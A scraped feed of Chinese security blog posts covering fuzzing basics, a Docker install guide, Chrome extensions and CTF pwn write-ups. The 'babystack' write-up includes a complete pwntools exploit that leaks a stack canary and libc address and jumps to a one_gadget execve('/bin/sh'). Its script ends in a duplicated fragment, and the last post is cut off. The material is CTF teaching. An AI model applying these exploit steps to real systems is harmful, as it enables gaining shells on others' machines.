title="技术"></a>技术</h2><p>模糊测试工具通常可以被分为两类。<strong>变异测试</strong>通过改变已有的数据样本去生成测试数据。<strong>生成测试</strong>则通过对程序输入的建模来生成新的测试数据。</p><p>最简单的模糊测试是通过命令行,网络包或者事件向一个程序输入一段随机比特流。这种技术当前依然是有效的发现程序错误的方法。另一个常见且易于实现的技术是通过随机反转一些比特或者整体移动一些数据块来变异已有的输入数据。但是,最有效的模糊测试需要能够理解被测试对象的格式或者协议。这可以通过阅读设计规格来实现。基于设计规格的模糊工具包含完整的规格,并通过基于模型的测试生成方法去遍历规格,并在数据内容,结构,消息,序列中引入一些异常。这种“聪明的”模糊测试也被称作<strong>健壮性测试,句法测试,语法测试以及错误注入</strong>。这种协议感知的特性也可以启发式的从例子中生成。相关的工具有Sequitur。</p><p>模糊测试也可以与其他技术结合。白盒模糊测试结合了符号执行技术与约束求解技术。演化模糊测试则利用了一个启发的反馈来有效的实现自动的探索性测试。</p><h2 id="详细说明"><a href="#详细说明" class="headerlink" title="详细说明"></a>详细说明</h2><h3 id="流程图"><a href="#流程图" class="headerlink" title="流程图"></a>流程图</h3><p><img src="https://img-blog.csdnimg.cn/20200331225732678.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="Fuzzing基本流程"></p><h3 id="1-大量的测试用例"><a href="#1-大量的测试用例" class="headerlink" title="1.大量的测试用例"></a>1.大量的测试用例</h3><p>进行模糊测试的首要条件就是需要大量的测试用例(即种子输入),例如Charlie Miller对Reader 9.2.0进行的fuzzing测试,他首先从网上的1515个文件变异得到3036000个测试用例进行测试,最后得到crash。在对Preview这个软件做测试时,用了大概2790000个测试用例进行测试才得以拿到crash。这些数字跟我们的直观感受就是我们需要获得大量的测试用例,才能保证模糊测试过程中拿到程序的crash。</p><h3 id="2-对测试用例做过滤"><a href="#2-对测试用例做过滤" class="headerlink" title="2.对测试用例做过滤"></a>2.对测试用例做过滤</h3><p>实际情况中,并不是说拿很多的测试用例就可以去测试软件就可以拿到漏洞,即fuzzing测试并不是简单的关于生成测试用例去做测试的故事,而是一个关于怎么对测试用例做过滤的故事。并不是说得到几十万量级的测试用例之后,就可以拿到漏洞了,而实际上,这几十万个测试用例都是精品,用这些精品进行测试才得以发现的漏洞,那么怎么把这些精品过滤出来,这才是关键,也是我们在进行fuzzing测试过程中需要做的第二件重要的准备工作。</p><p>比如Charlie Miller在测试PDF的时候,他把网上所有能够下载到的80000个PDF文档都下载下来,然后找到一个最小的子集,这个子集的代码覆盖率和全集的代码覆盖率是一样的,这个最小的子集也就是软件测试中的最初始的集合—1515个文件,在这个最初始的集合上再去做fuzz,这就是一个筛选的过程,我们可以用代码覆盖率作为衡量标准,当然也可以选择其他合适的标准来完成这一筛选过程。</p><h3 id="3-要用正确的方法"><a href="#3-要用正确的方法" class="headerlink" title="3.要用正确的方法"></a>3.要用正确的方法</h3><p>Laurent Gaffié说过,他在研究SMB协议的远程调用接口的时候,最先做了很多工作,结果都失败了,直到他将策略改变成了用单字节的网络数据包,才有了大量的产量。所以fuzzing是要讲方法的,要想清楚可能出问题的是什么地方,你要用什么样的方法去把这个东西找出来,关于方法,每年都有很多的论文,大家可以去看。</p><p>Charlie Miller也说,很多关于fuzzing的报告都是讲述如何成功,但是现实中的fuzzing大部分都是讲关于失败的。可见在现实中做fuzz测试的时候,你会遇到很多挫折。所以找到正确的方法非常重要!CharlieMiller和Laurent Gaffié给出的代码虽然看起来很不起眼,但一旦找到了正确的方法,得到的结果往往很令人惊喜。</p><h3 id="4-花90-时间阅读文档"><a href="#4-花90-时间阅读文档" class="headerlink" title="4.花90%时间阅读文档"></a>4.花90%时间阅读文档</h3><p>还有一个问题,就是做fuzzing的人,并不是简单的写几行代码,对着软件一通测试就会出来结果。在做fuzzing之前,会有很多的时间是花在阅读文档上的。</p><p>对于复杂的程序,我们要去分析这个程序的功能是什么,它可能出问题的地方在什么位置,会有大量的几乎90%的时间是花在这上面的,这是Charlie Miller和Laurent Gaffié的一个评估。</p><h3 id="5-Fuzzing工具"><a href="#5-Fuzzing工具" class="headerlink" title="5.Fuzzing工具"></a>5.Fuzzing工具</h3><p>AFL,它是目前最受欢迎的一个工具,是一个导向型的fuzzing工具。 Fuzzing通常由盲fuzzing(blind fuzzing)和导向性fuzzing(guided fuzzing)两种。blind fuzzing生成测试数据的时候不考虑数据的质量,通过大量测试数据来概率性地触发漏洞。Guided fuzzing则关注测试数据的质量,期望生成更有效的测试数据来触发漏洞的概率。比如,通过测试覆盖率来衡量测试输入的质量,希望生成有更高测试覆盖率的数据,从而提升触发漏洞的概率。</p><p>AFL这个工具出来的一个起因就是AFL的开发者认为盲fuzzing的效率是比较低的;第二个原因就是Charlie Miller和Laurent Gaffié所做的样本筛选的方法是有效果的;还有第三个原因就是符号执行,符号执行在理论是非常不错的,但在实际中经常受到可行性、性能等方面的限制。于是在这样一个背景下,AFL出现了。</p><p>AFL有两个关键词:指令插桩和边覆盖。首先AFL是基于插桩的,能够辅助程序分析;其次AFL是基于边覆盖的,是对Charlie Miller等人基于块覆盖用样本筛选的一个改进和提升。<br>参考:<br><a href="https://zh.wikipedia.org/wiki/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95" target="_blank" rel="noopener">1.模糊测试-维基百科</a><br><a href="https://www.freebuf.com/news/193602.html" target="_blank" rel="noopener">2.简单高效的模糊测试Fuzzing</a></p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> 漏洞挖掘 </category>
</categories>
<tags>
<tag> fuzzing </tag>
</tags>
</entry>
<entry>
<title>Kali linux下docker与docker-compose的安装及两者差异</title>
<link href="/2020/03/27/kali-docker/"/>
<url>/2020/03/27/kali-docker/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>最近接了一个漏洞环境搭建的活,需要用到docker和docker-compose。因为物理机是Win10的,安装docker需要开启Hyper-V,但是Hyper-V和Vmware冲突。所以就在kali虚拟机里面搭了docker。下面记录一下搭建过程。</p><h2 id="安装docker:"><a href="#安装docker:" class="headerlink" title="安装docker:"></a>安装docker:</h2><pre><code>step1.apt-get updateapt-get install -y apt-transport-https ca-certificatesapt-get install dirmngrstep2.apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609Dstep3.echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.liststep4.apt-get updatess-local -c /etc/shadowsocks.json (起飞机)proxychains4 apt-get install docker-engine 代理下载</code></pre><p><img src="https://img-blog.csdnimg.cn/20200327005202102.jpg" alt="docker 搭建成功"></p><h2 id="安装docker-compose"><a href="#安装docker-compose" class="headerlink" title="安装docker-compose"></a>安装docker-compose</h2><pre><code>ss-local -c /etc/shadowsocks.jsonproxychains4 curl -L https://github.com/docker/compose/releases/download/1.25.0-rc1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose</code></pre><h2 id="docker和docker-compose的对比"><a href="#docker和docker-compose的对比" class="headerlink" title="docker和docker-compose的对比"></a>docker和docker-compose的对比</h2><p><strong>介绍</strong></p><blockquote><p>docker是一个供开发和运维人员开发,测试,部署和运行应用的容器平台。<br>compose是一个用于运行和管理多个容器化应用的工具。</p></blockquote><p><strong>对比</strong></p><ul><li>docker是自动化构建镜像,并启动镜像。 docker compose是自动化编排容器。</li><li>docker是基于Dockerfile得到images,启动的时候是一个单独的container</li><li>docker-compose是基于docker-compose.yml,通常启动的时候是一个服务,这个服务通常由多个container共同组成,并且端口,配置等由docker-compose定义好。</li><li>两者都需要安装,但是要使用docker-compose,必须已经安装docker</li></ul><p>参考博客:<br><a href="https://blog.51cto.com/11834557/2309885" target="_blank" rel="noopener">Linux下docker安装</a><br><a href="https://blog.csdn.net/hero_hope/article/details/91168836" target="_blank" rel="noopener">Linux下docker-compose安装</a><br><a href="https://www.jianshu.com/p/5794ec7e603b" target="_blank" rel="noopener">docker与docker-compose介绍,对比与使用</a></p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> Linux </category>
<category> docker </category>
</categories>
<tags>
<tag> 运维 </tag>
</tags>
</entry>
<entry>
<title>one_gadget用法|攻防世界pwn进阶区babystack</title>
<link href="/2020/03/25/babystack/"/>
<url>/2020/03/25/babystack/</url>
<content type="html"><![CDATA[<h2 id="0x00-检查保护"><a href="#0x00-检查保护" class="headerlink" title="0x00.检查保护"></a>0x00.检查保护</h2><pre><code>devil@ubuntu:~/adworld/pwn$ checksec babystack[*] '/home/devil/adworld/pwn/babystack' Arch: amd64-64-little RELRO: Full RELRO ;无法修改got表 Stack: Canary found ;不能直接进行溢出 NX: NX enabled ;堆栈不可执行 PIE: No PIE (0x400000)</code></pre><h2 id="0x01-one-gadget"><a href="#0x01-one-gadget" class="headerlink" title="0x01.one_gadget"></a>0x01.one_gadget</h2><p>本题给了libc版本,可以使用<strong>one_gadget</strong>工具<br>我也是第一次使用one_gadget,简单介绍一下:</p><blockquote><p>功能:查找已知的libc中exevce(“/bin/sh”)语句的地址<br>用法: one_gadget libc-x.xx.so<br><a href="https://github.com/david942j/one_gadget">官方文档点击此处</a></p></blockquote><pre><code>devil@ubuntu:~/adworld/pwn$ one_gadget libc-2.23.so0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL0xf0274 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL0xf1117 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL</code></pre><p>通过使用one_gadget可以找到获得shell的函数的地址</p><pre class="line-numbers language-yaml"><code class="language-yaml">execve_addr = 0x45216<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="0x02-ida调试"><a href="#0x02-ida调试" class="headerlink" title="0x02.ida调试"></a>0x02.ida调试</h2><p><img src="https://img-blog.csdnimg.cn/20200325005840582.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="ida调试确定输入和canary距离"><br>可以看出v6储存的是canary,s是我们输入的字符串,二者相距0x88字节。<br>则我们先输入0x88个字节,再利用print函数就可以把canary的值带出来。<br><strong>代码如下:</strong></p><pre class="line-numbers language-python"><code class="language-python">payload1 <span class="token operator">=</span> <span class="token string">'A'</span><span class="token operator">*</span><span class="token number">0x88</span>r<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">">> "</span><span class="token punctuation">,</span><span class="token string">"1"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload1<span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">">> "</span><span class="token punctuation">,</span><span class="token string">"2"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'A'</span><span class="token operator">*</span><span class="token number">0x88</span><span class="token operator">+</span><span class="token string">'\n'</span><span class="token punctuation">)</span>canary <span class="token operator">=</span> u64<span class="token punctuation">(</span>r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">.</span>rjust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span><span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>有了canary的值我们可以进行溢出,64位程序溢出还需要一个<code>pop rdi;ret</code><br><img src="https://img-blog.csdnimg.cn/20200325005956650.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="ROPgadget"></p><pre><code>0x0000000000400a93 : pop rdi ; ret</code></pre><h2 id="0x03-解题思路:"><a href="#0x03-解题思路:" class="headerlink" title="0x03.解题思路:"></a>0x03.解题思路:</h2><p>用’a’<em>0x88字节带出canary,知道canary即可进行溢出。<br>溢出利用puts函数输出puts的函数地址,再利用<code>puts_addr-libc.symbols['puts']</code>得到libc偏移offset<br><em>*execve_addr=offset+one_gadget得到的execve代码</em></em></p><h2 id="0x04-exp"><a href="#0x04-exp" class="headerlink" title="0x04.exp"></a>0x04.exp</h2><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token keyword">from</span> LibcSearcher <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">(</span>log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">,</span>arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">)</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./babystack'</span><span class="token punctuation">)</span>libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./libc-2.23.so'</span><span class="token punctuation">)</span>r <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"111.198.29.45"</span><span class="token punctuation">,</span><span class="token number">51596</span><span class="token punctuation">)</span>puts_got <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'puts'</span><span class="token punctuation">]</span>puts_plt <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">'puts'</span><span class="token punctuation">]</span>execve <span class="token operator">=</span> <span class="token number">0x45216</span> <span class="token comment" spellcheck="true">#one_gadget得到</span>main_addr <span class="token operator">=</span> <span class="token number">0x400908</span> <span class="token comment" spellcheck="true">#main函数地址</span>rdi_addr <span class="token operator">=</span> <span class="token number">0x400a93</span> <span class="token comment" spellcheck="true">#pop rdi;ret</span>payload1 <span class="token operator">=</span> <span class="token string">'A'</span><span class="token operator">*</span><span class="token number">0x88</span> <span class="token comment" spellcheck="true">#s和canary距离</span>r<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">">> "</span><span class="token punctuation">,</span><span class="token string">"1"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload1<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#要使用sendline,即输入'A'*0x88后还要有一个回车,目的是将canary尾部的'\x00'覆盖为'\x0A'</span><span class="token comment" spellcheck="true">#用puts函数输出canary时,puts函数遇到'\x00'会截断,使用'\x0A'覆盖'\x00',才能将canary输出</span><span class="token comment" spellcheck="true">#注意,本程序是小端字节序(低位地址对应高位字节)</span>r<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">">> "</span><span class="token punctuation">,</span><span class="token string">"2"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'A'</span><span class="token operator">*</span><span class="token number">0x88</span><span class="token operator">+</span><span class="token string">'\n'</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#要等到'\n'之后再读取</span>canary <span class="token operator">=</span> u64<span class="token punctuation">(</span>r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">.</span>rjust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span><span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#r.recv(7)是由于puts输出的canary最后一位是'\x0A',要重新换成'\x00'</span>payload2 <span class="token operator">=</span> <span class="token string">'A'</span><span class="token operator">*</span><span class="token number">0x88</span>payload2<span class="token operator">+=</span>p64<span class="token punctuation">(</span>canary<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">0xdeadbeef</span><span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>rdi_addr<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>puts_got<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>puts_plt<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>main_addr<span class="token punctuation">)</span><span class="token comment" spellcheck="true"># 调用puts函数将puts函数的地址输出</span>r<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">">> "</span><span class="token punctuation">,</span><span class="token string">"1"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload2<span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">">> "</span><span class="token punctuation">,</span><span class="token string">"3"</span><span class="token punctuation">)</span>puts_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span><span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>offset <span class="token operator">=</span> puts_addr <span class="token operator">-</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'puts'</span><span class="token punctuation">]</span>execve_addr <span class="token operator">=</span> offset <span class="token operator">+</span> execvepayload3 <span class="token operator">=</span> <span class="token string">'A'</span><span class="token operator">*</span><span class="token number">0x88</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>canary<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0xdeadbeef</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>execve_addr<span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">">> "</span><span class="token punctuation">,</span><span class="token string">"1"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload3<span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">">> "</span><span class="token punctuation">,</span><span class="token string">"3"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>ter<span class="token punctuation">(</span><span class="token string">">> "</span><span class="token punctuation">,</span><span class="token string">"1"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload3<span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">">> "</span><span class="token punctuation">,</span><span class="token string">"3"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> pwn </category>
</categories>
<tags>
<tag> stack </tag>
<tag> one_gadget </tag>
</tags>
</entry>
<entry>
<title>实用Chrome插件功能介绍系列&&安装指南</title>
<link href="/2020/03/22/chrome/"/>
<url>/2020/03/22/chrome/</url>
<content type="html"><![CDATA[<h2 id="0x00-Infinity-New-Tab"><a href="#0x00-Infinity-New-Tab" class="headerlink" title="0x00.Infinity New Tab"></a>0x00.Infinity New Tab</h2><p><img src="https://img-blog.csdnimg.cn/20200322004344837.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="Infinity New Tab"><br><img src="https://img-blog.csdnimg.cn/20200322005431651.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="安装之后的界面"></p><blockquote><p>介绍:这是一款美化标签页的工具,功能强大,支持添加标签页网址图标。<br>推荐级别:3星级<br><a href="https://chrome.google.com/webstore/detail/infinity-new-tab-producti/dbfmnekepjoapopniengjbcpnbljalfg/related" target="_blank" rel="noopener">点击此处安装</a></p></blockquote><h2 id="0x01-集装箱"><a href="#0x01-集装箱" class="headerlink" title="0x01.集装箱"></a>0x01.集装箱</h2><p><img src="https://img-blog.csdnimg.cn/20200322010719582.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="google助手"><br><img src="https://img-blog.csdnimg.cn/20200322010822852.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="右键增强"></p><blockquote><p>介绍:集装箱插件是google助手、网盘助手、优惠购、增益功能等插件的合集。尤其要推荐一下右键增强功能,选择文本、右键选择集装箱,会出现很多功能,比如使用各种搜索引擎进行搜索,而且还能生成当前界面二维码,google助手功能也十分强大!<br>推荐级别:5星级<br><a href="https://chrome.google.com/webstore/detail/%E9%9B%86%E8%A3%85%E7%AE%B1/kbgigmcnifmaklccibmlepmahpfdhjch/related?hl=zh-CN" target="_blank" rel="noopener">点击此处安装</a></p></blockquote><h2 id="0x02-OneTab-Plus"><a href="#0x02-OneTab-Plus" class="headerlink" title="0x02.OneTab Plus"></a>0x02.OneTab Plus</h2><p><img src="https://img-blog.csdnimg.cn/2020032201213940.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="整合标签页"></p><blockquote><p>介绍:OneTab Plus可以把多个标签页整合成一个列表形式的标签页,这个功能对我来说真的很好用,因为平时打比赛可能同时打开好几十个标签页…<br>推荐级别:4星级<br><a href="https://chrome.google.com/webstore/detail/onetab-plustab-manage-pro/lepdjbhbkpfenckechpdfohdmkhogojf/related" target="_blank" rel="noopener">点击此处安装</a></p></blockquote><h2 id="0x03-Adblock-Plus"><a href="#0x03-Adblock-Plus" class="headerlink" title="0x03.Adblock Plus"></a>0x03.Adblock Plus</h2><p><img src="https://img-blog.csdnimg.cn/20200322012942878.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="Adblock Plus功能"></p><blockquote><p>介绍:Chrome支持的广告屏蔽插件,可以屏蔽绝大多数网站广告,可以自行设置网站白名单,并不会降低网页打开速度。<br>推荐级别:3颗星<br><a href="https://chrome.google.com/webstore/detail/adblock-plus-free-ad-bloc/cfhdojbkjhnklbpkdaibdccddilifddb/related" target="_blank" rel="noopener">点击此处安装</a></p></blockquote><h2 id="0x04-Tampermonkey"><a href="#0x04-Tampermonkey" class="headerlink" title="0x04.Tampermonkey"></a>0x04.Tampermonkey</h2><p><img src="https://img-blog.csdnimg.cn/20200322015254707.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="Tampermonkey"></p><blockquote><p>介绍:Tampermonkey,国内称作“油猴”,是一个管理浏览器脚本的插件。它能安装众多实用的浏览器脚本。<br>推荐级别:4颗半星<br><a href="https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo" target="_blank" rel="noopener">点击此处安装</a></p></blockquote><p><strong>油猴脚本:</strong></p><h3 id="1-Ac-baidu"><a href="#1-Ac-baidu" class="headerlink" title="1.Ac-baidu"></a>1.Ac-baidu</h3><p><img src="https://img-blog.csdnimg.cn/20200322015534813.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="Ac-baidu安装后界面"></p><blockquote><p>介绍:Ac-baidu是一款重定向优化搜索引擎的脚本,能大幅度提高搜索速度,优化显示界面。<br>推荐级别:3星级<br><a href="https://greasyfork.org/zh-CN/scripts/14178-ac-baidu-%E9%87%8D%E5%AE%9A%E5%90%91%E4%BC%98%E5%8C%96%E7%99%BE%E5%BA%A6%E6%90%9C%E7%8B%97%E8%B0%B7%E6%AD%8C%E6%90%9C%E7%B4%A2-%E5%8E%BB%E5%B9%BF%E5%91%8A-favicon-%E5%8F%8C%E5%88%97" target="_blank" rel="noopener">点击此处安装</a></p></blockquote><h3 id="2-哔哩哔哩播放器调整R"><a href="#2-哔哩哔哩播放器调整R" class="headerlink" title="2.哔哩哔哩播放器调整R"></a>2.哔哩哔哩播放器调整R</h3><p><img src="https://img-blog.csdnimg.cn/20200322021003993.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="哔哩哔哩播放器调整R"><br><img src="https://img-blog.csdnimg.cn/20200322021118326.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="脚本功能"></p><blockquote><p>介绍:把b站彻底变成学习网站!<br>推荐级别:3星级<br><a href="https://greasyfork.org/zh-CN/scripts/371672-%E5%93%94%E5%93%A9%E5%93%94%E5%93%A9-bilibili-com-%E6%92%AD%E6%94%BE%E5%99%A8%E8%B0%83%E6%95%B4r-ver-stardust" target="_blank" rel="noopener">点击此处安装</a></p></blockquote><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> tips </tag>
<tag> chrome </tag>
</tags>
</entry>
<entry>
<title>64位程序rop链构造|攻防世界pwn进阶区 pwn-100</title>
<link href="/2020/03/21/pwn-100/"/>
<url>/2020/03/21/pwn-100/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这一题和pwn-200有类似之处,都是栈溢出漏洞,可以循环泄露,所以都使用DynELF来泄露。但是pwn200是32位程序用rop,pwn100是64位程序用rop。区别在于32位程序利用栈布局,而64位程序调用参数是利用寄存器。且本题是用puts函数来泄露,puts函数不能指定输出字符串的长度。</p><h2 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h2><h3 id="0x01-ida调试发现sub-40063D函数可以溢出"><a href="#0x01-ida调试发现sub-40063D函数可以溢出" class="headerlink" title="0x01.ida调试发现sub_40063D函数可以溢出"></a>0x01.ida调试发现sub_40063D函数可以溢出</h3><p><img src="https://img-blog.csdnimg.cn/20200316194943361.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""></p><h3 id="0x02-cyclic计算溢出需要填充72字节"><a href="#0x02-cyclic计算溢出需要填充72字节" class="headerlink" title="0x02.cyclic计算溢出需要填充72字节"></a>0x02.cyclic计算溢出需要填充72字节</h3><h3 id="0x03-checksec看一下保护"><a href="#0x03-checksec看一下保护" class="headerlink" 